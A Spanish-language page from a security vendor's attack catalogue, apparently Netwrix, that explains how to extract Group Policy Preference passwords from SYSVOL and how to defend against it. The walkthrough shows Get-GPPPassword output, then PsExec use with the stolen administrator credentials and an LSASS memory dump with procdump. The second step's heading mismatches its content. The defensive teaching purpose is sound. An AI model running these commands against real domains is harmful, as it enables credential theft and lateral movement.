Magic Quadrant™ para la gestión de acceso privilegiado 2025: Netwrix reconocida por cuarto año consecutivo. Descarga el informe.

Plataforma
Glosario de ciberseguridadCatálogo de ataques
Ataque de extracción de contraseñas en texto plano

Ataque de extracción de contraseñas en texto plano

La Política de Grupo es esencial en la gestión de un entorno de Active Directory. En particular, los administradores la utilizan para gestionar centralmente las configuraciones aplicadas a servidores y estaciones de trabajo unidos al dominio; estas Políticas de Grupo definen políticas (configuraciones forzadas) y preferencias, que propagan configuraciones predeterminadas que un usuario puede modificar. Desafortunadamente, la Política de Grupo permitió a los administradores incrustar contraseñas en las preferencias de Política de Grupo que creaban usuarios locales o mapeaban unidades de red, y esas contraseñas estaban cifradas con una clave pública disponible. Por lo tanto, un adversario con la capacidad de leer estas políticas puede extraer y descifrar fácilmente estas contraseñas. En 2014, Microsoft lanzó una actualización de seguridad que elimina la capacidad de crear nuevas preferencias con contraseñas incrustadas, pero muchas organizaciones todavía tienen preferencias de Política de Grupo que incluyen contraseñas incrustadas.

Resumen de amenazas

Objetivo: Active Directory

Herramientas: PowerSploit, Metasploit

Táctica ATT&CK®: Acceso a Credenciales

Técnica ATT&CK: T1552.006

Dificultad

Detección: Baja

Mitigación: Baja

Respuesta: Baja

Tutorial de ataque: Cómo funciona un ataque de extracción de contraseñas en texto plano

PASO 1: Descubrir contraseñas en las preferencias de Group Policy

Las preferencias de Group Policy se almacenan como archivos XML en el recurso compartido SYSVOL en los controladores de dominio. El recurso compartido SYSVOL es accesible para Usuarios Autenticados, por lo que un adversario que haya obtenido un punto de apoyo dentro de la red puede acceder a su contenido. Un adversario puede analizar estos archivos XML manualmente, buscando instancias del atributo CPassword, que contiene las contraseñas cifradas. Atributos adyacentes proporcionan otros detalles, como el nombre de usuario. O pueden usar herramientas como el cmdlet de PowerSploit Get-GPPPasswords  para automatizar el proceso de adquisición y descifrado de estas contraseñas, como se muestra a continuación.

      PS> Import-Module PowerSploit

PS> Get-GPPPassword

Changed : {2020-08-17 11:14:01}

UserNames : {Administrator (built-in)}

NewName : [BLANK]

Passwords : {WhatAGreatPassword123!}

File : \\domain.com\SYSVOL\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml

PS>
      

PASO 2: Modificar la ACL de AdminSDHolder

Ahora que el adversario tiene el nombre de usuario y la contraseña de un administrador local, pueden enumerar los ordenadores en Active Directory en los que se aplica la Directiva de Grupo, lo que les proporciona una lista de ordenadores a los que pueden autenticarse utilizando estas credenciales. Con esta lista, el adversario puede continuar expandiendo su presencia dentro de la organización. En este ejemplo, el adversario se conecta a otro ordenador y crea un volcado de memoria del proceso LSASS.exe para permitir un mayor movimiento lateral o escalada de privilegios.

      PS> [XML] $XML = Get-GPO -Guid 5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB | Get-GPOReport -ReportType Xml

PS> $XML.GPO.LinksTo

SOMName SOMPath Enabled NoOverride

------- ------- ------- ----------

Comp domain.com/Comp true false

PS> $DN = Get-ADOrganizationalUnit -filter { Name -eq $XML.GPO.LinksTo.SOMName } | Select -expand DistinguishedName

PS> Get-ADComputer -filter "*" -SearchBase $DN

DistinguishedName : CN=Server1,OU=Comp,DC=domain,DC=com

DNSHostName :

Enabled : True

Name : Server1

ObjectClass : computer

ObjectGUID : 4eeec15e-ee84-4195-b5c8-ee4d5d67efbf

SamAccountName : SERVER1$

SID : S-1-5-21-5840559-2756745051-1363507867-16924

UserPrincipalName :

PS> .\PSExec.exe -u Administrator -p WhatAGreatPassword123! \\server1 powershell.exe

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich

Sysinternals - www.sysinternals.com
PS> procdump.exe -accepteula -r -ma lsass.exe lsass.dmp

PS>
      

Detectar, Mitigar y Responder

Detectar

Dificultad: Baja

Debido al gran volumen de operaciones de lectura que ocurren en operaciones normales, no es posible detectar directamente el acceso de un adversario a estos archivos. Sin embargo, es posible realizar una auditoría de contraseñas incrustadas en las Preferencias de Política de Grupo utilizando las mismas técnicas que usaría un adversario. Usar el cmdlet Get-GPPPassword contra cada dominio enumerará las contraseñas incrustadas (note que esto también revelará el texto plano). Alternativamente, el siguiente fragmento de PowerShell enumerará las contraseñas incrustadas sin descifrarlas:

      # Replace this path with the path to SYSVOL to check

$SYSVOL_Path = "\\domain.com\sysvol"

Get-ChildItem $SYSVOL_Path -Recurse -File | Select-String -Pattern "cpassword"

# Sample Output using \\domain.com\sysvol

\\domain.com\sysvol\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml:2:<Gro

ups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"

name="Administrator (built-in)" image="2" changed="2020-08-17 11:14:01"

uid="{EA0FCA83-45D2-4189-B476-DB595FB29E2D}"><Properties action="U" newName="" fullName="" description="Built-in Local

Admin" cpassword="Pe81R/eXjjPtd5oJw6D0hifqz78ezVt7tD0ViS9eTg+z2dKIvfwMRbD5JPFEA26i" changeLogon="0" noChange="0"

neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/></User>
      

Mitigar

Dificultad: Baja

En resumen, todas las contraseñas incrustadas en las preferencias de Group Policy deben eliminarse. Además:

  • Asegúrese de que todos los controladores de dominio estén ejecutando versiones actuales del sistema operativo con los últimos parches, ya que las versiones actuales de Windows Server no permiten la incrustación de contraseñas en las preferencias de Group Policy.
  • Reemplace el uso de las preferencias de Directiva de grupo para establecer la contraseña de la cuenta de administrador local integrada por una solución robusta como la de Microsoft, Local Administrator Password Solution (LAPS).
  • Adopte soluciones que reemplacen las contraseñas incrustadas con búsquedas dinámicas autenticadas.

Responder

Dificultad: Baja

Si descubre contraseñas incrustadas en las preferencias de Group Policy, se pueden tomar las siguientes acciones:

  • Elimine la contraseña incrustada de la preferencia de Directiva de grupo.
  • Restablezca la contraseña de la cuenta.

Compartir en

Ver ataques de ciberseguridad relacionados

Abuso de permisos de aplicaciones Entra ID – Cómo funciona y estrategias de defensa

Modificación de AdminSDHolder – Cómo funciona y estrategias de defensa

Ataque AS-REP Roasting - Cómo funciona y estrategias de defensa

Ataque Hafnium - Cómo funciona y estrategias de defensa

Ataques DCSync explicados: Amenaza a la seguridad de Active Directory

Ataque de Cuentas de Servicio Administradas por Grupo

Ataque Golden SAML

Entendiendo los ataques de Golden Ticket

Ataque DCShadow – Cómo funciona, ejemplos del mundo real y estrategias de defensa

ChatGPT Prompt Injection: Comprensión de riesgos, ejemplos y prevención

Ataque de extracción de contraseñas de NTDS.dit

Ataque de Kerberoasting – Cómo funciona y estrategias de defensa

Ataque de Pass the Hash

Explicación del ataque Pass-the-Ticket: Riesgos, ejemplos y estrategias de defensa

Ataque de Password Spraying

Explicación de la vulnerabilidad Zerologon: Riesgos, Explotaciones y Mitigación

Ataques de ransomware a Active Directory

Desbloqueando Active Directory con el ataque Skeleton Key

Movimiento lateral: Qué es, cómo funciona y prevenciones

Ataques de Hombre en el Medio (MITM): Qué son y cómo prevenirlos

¿Por qué es PowerShell tan popular entre los atacantes?

4 ataques a cuentas de servicio y cómo protegerse contra ellos

Cómo prevenir que los ataques de malware afecten a su negocio

¿Qué es Credential Stuffing?

Comprometiendo SQL Server con PowerUpSQL

¿Qué son los ataques de Mousejacking y cómo defenderse de ellos?

Robo de credenciales con un Proveedor de Soporte de Seguridad (SSP)

Ataques de Rainbow Table: Cómo funcionan y cómo defenderse de ellos

Una mirada exhaustiva a los ataques de contraseñas y cómo detenerlos

Reconocimiento LDAP

Eludir MFA con el ataque Pass-the-Cookie

Ataque de Silver Ticket